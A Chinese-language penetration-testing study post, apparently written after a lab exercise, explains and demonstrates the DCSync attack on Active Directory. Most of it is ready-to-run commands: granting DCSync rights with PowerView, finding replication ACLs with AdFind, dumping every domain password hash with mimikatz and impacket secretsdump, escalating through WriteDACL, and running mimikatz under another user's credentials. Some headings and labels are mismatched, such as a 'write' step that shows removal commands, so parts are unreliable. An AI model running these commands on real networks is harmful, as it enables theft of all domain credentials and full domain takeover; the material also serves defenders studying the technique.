这个是在打了云镜Initial的时候接触到的知识点,所以打算拿出来详细学习一下其原理,这里贴一下DRSR(Directory Replication Service)协议:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47 因为似乎这个漏洞利用的原理就是这个协议
在DCSync技术没有出现之前,攻击者要想拿到域内用户的hash,就只能在域控制器上运行 Mimikatz 或 Invoke-Mimikatz去抓取密码hash,但是在2015 年 8 月份, Mimkatz新增了一个主要功能叫"DCSync",使用这项技术可以有效地 “模拟” 域控制器并从目标域控上请求域内用户密码hash。
主要是利用AD复制技术,在一个企业内部,为了防止DC出问题,就会布置多台域控作为AD域的备份,其作用就是同步数据更新,因为域内需要做身份验证,利用这种方法就可以快速的更新信息,这个过程就要用到前言说的Microsoft的远程目录复制服务协议也就是DRSR协议,在不同DC之间每15分钟会进行一次数据同步,而DYSync攻击就是利用这个地方进行攻击
通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求
我们可以使用powerview中的Add-DomainObjectAcl函数写入DCSync权限
1
2
3
|
Set-ExecutionPolicy Bypass -Scope Process
import-module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity haha -Rights DCSync -Verbose
|
通过cmd调用powershell写入
1
|
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity haha -Rights DCSync -Verbose}"
|
1
|
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"
|
powershell写入
1
2
|
Import-Module .\PowerView.ps1;
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose
|
powershell查找
1
2
3
|
Import-Module .\Powerview.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Changes"}
|
adfind查找
复制目录更改(DS-Replication-Get-Changes)
1
|
AdFind.exe -s subtree -b "DC=test,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
|
全部复制目录更改 (DS-Replication-Get-Changes-All))
1
|
AdFind.exe -s subtree -b "DC=test,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute
|
如果拿到了域内用户的权限,则可以在域内直接使用mimikatz去dump域控hash,也可以利用impacket中的secretdump去dump哈希
mimikatz
1
|
mimikatz.exe "log Micropoor.txt" "lsadump::dcsync /domain:test.com /all /csv " "exit"
|
secretdump
1
2
|
python3 secretsdump.py test/admin:www123456#@192.168.189.128 -dc-ip 192.168.189.128
python3 secretsdump.py 'test.com/[email protected]' -hashes :6dfad00b946adf3479fba71beeb5e4ac
|
拿到以下用户权限可以直接写入DCSync
1
2
3
4
|
Administrators组内的用户
domain admins组
enterprise admins组
域控制器的计算机帐户
|
看一下ACL
1
2
|
Import-Module .\Powerview.ps1
Get-DomainObjectAcl -Identity admin -domain test.com -ResolveGUIDs
|
写入
1
|
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity admin -Rights DCSync -Verbose}"
|
dump hash
1
|
mimikatz.exe "log Micropoor.txt" "lsadump::dcsync /domain:test.com /all /csv" "exit"
|
若当前用户具有WriteDACL权限,那么我们可以通过该权限去写入DCSync功能
我们先在域控上给用户haha添加WriteDACL的权限
1
2
|
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity haha -Rights WriteDacl -Verbose
|
写入
1
|
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity haha -Rights DCSync -Verbose}"
|
利用条件:
获得以下任一用户的权限:
- Domain Admins组内的用户
- Enterprise Admins组内的用户
利用原理:
向域内的一个普通用户添加如下三条ACE(Access Control Entries):
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用DCSync导出域内所有用户hash的权限
实现代码:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270
利用方法:
添加ACE的命令如下:
1
|
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
|
补充:
删除ACE的命令:
1
|
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
|
注:
关于更多ACL的内容可参考之前的文章:《渗透技巧——Windows下的Access Control List》
使用域用户test1调用DCSync的方法如下:
1
|
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
|
(1)弹出cmd
1
|
echo 123456789 | runas /noprofile /user:test\test1 cmd
|
弹出的cmd下执行如下命令:
1
|
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
|
(2)不弹框实现
1
|
echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat
|
1.bat的内容如下:
1
|
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
|
注:
同类的工具还有lsrunas、lsrunase和CPAU
(1)弹出cmd
1
2
3
4
|
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "cmd.exe" -Credential $cred
|
弹出的cmd下执行如下命令:
1
|
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
|
(2)不弹框实现
1
2
3
4
|
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "c:\test\1.bat" -Credential $cred
|
1.bat的内容如下:
1
|
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
|
注:
使用wmic在本机实现登录用户test1会失败,错误如下:
1
2
|
ERROR:
Description = User credentials cannot be used for local connections
|
参考文章:
https://tttang.com/archive/1634/#toc_1dcsync_1
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync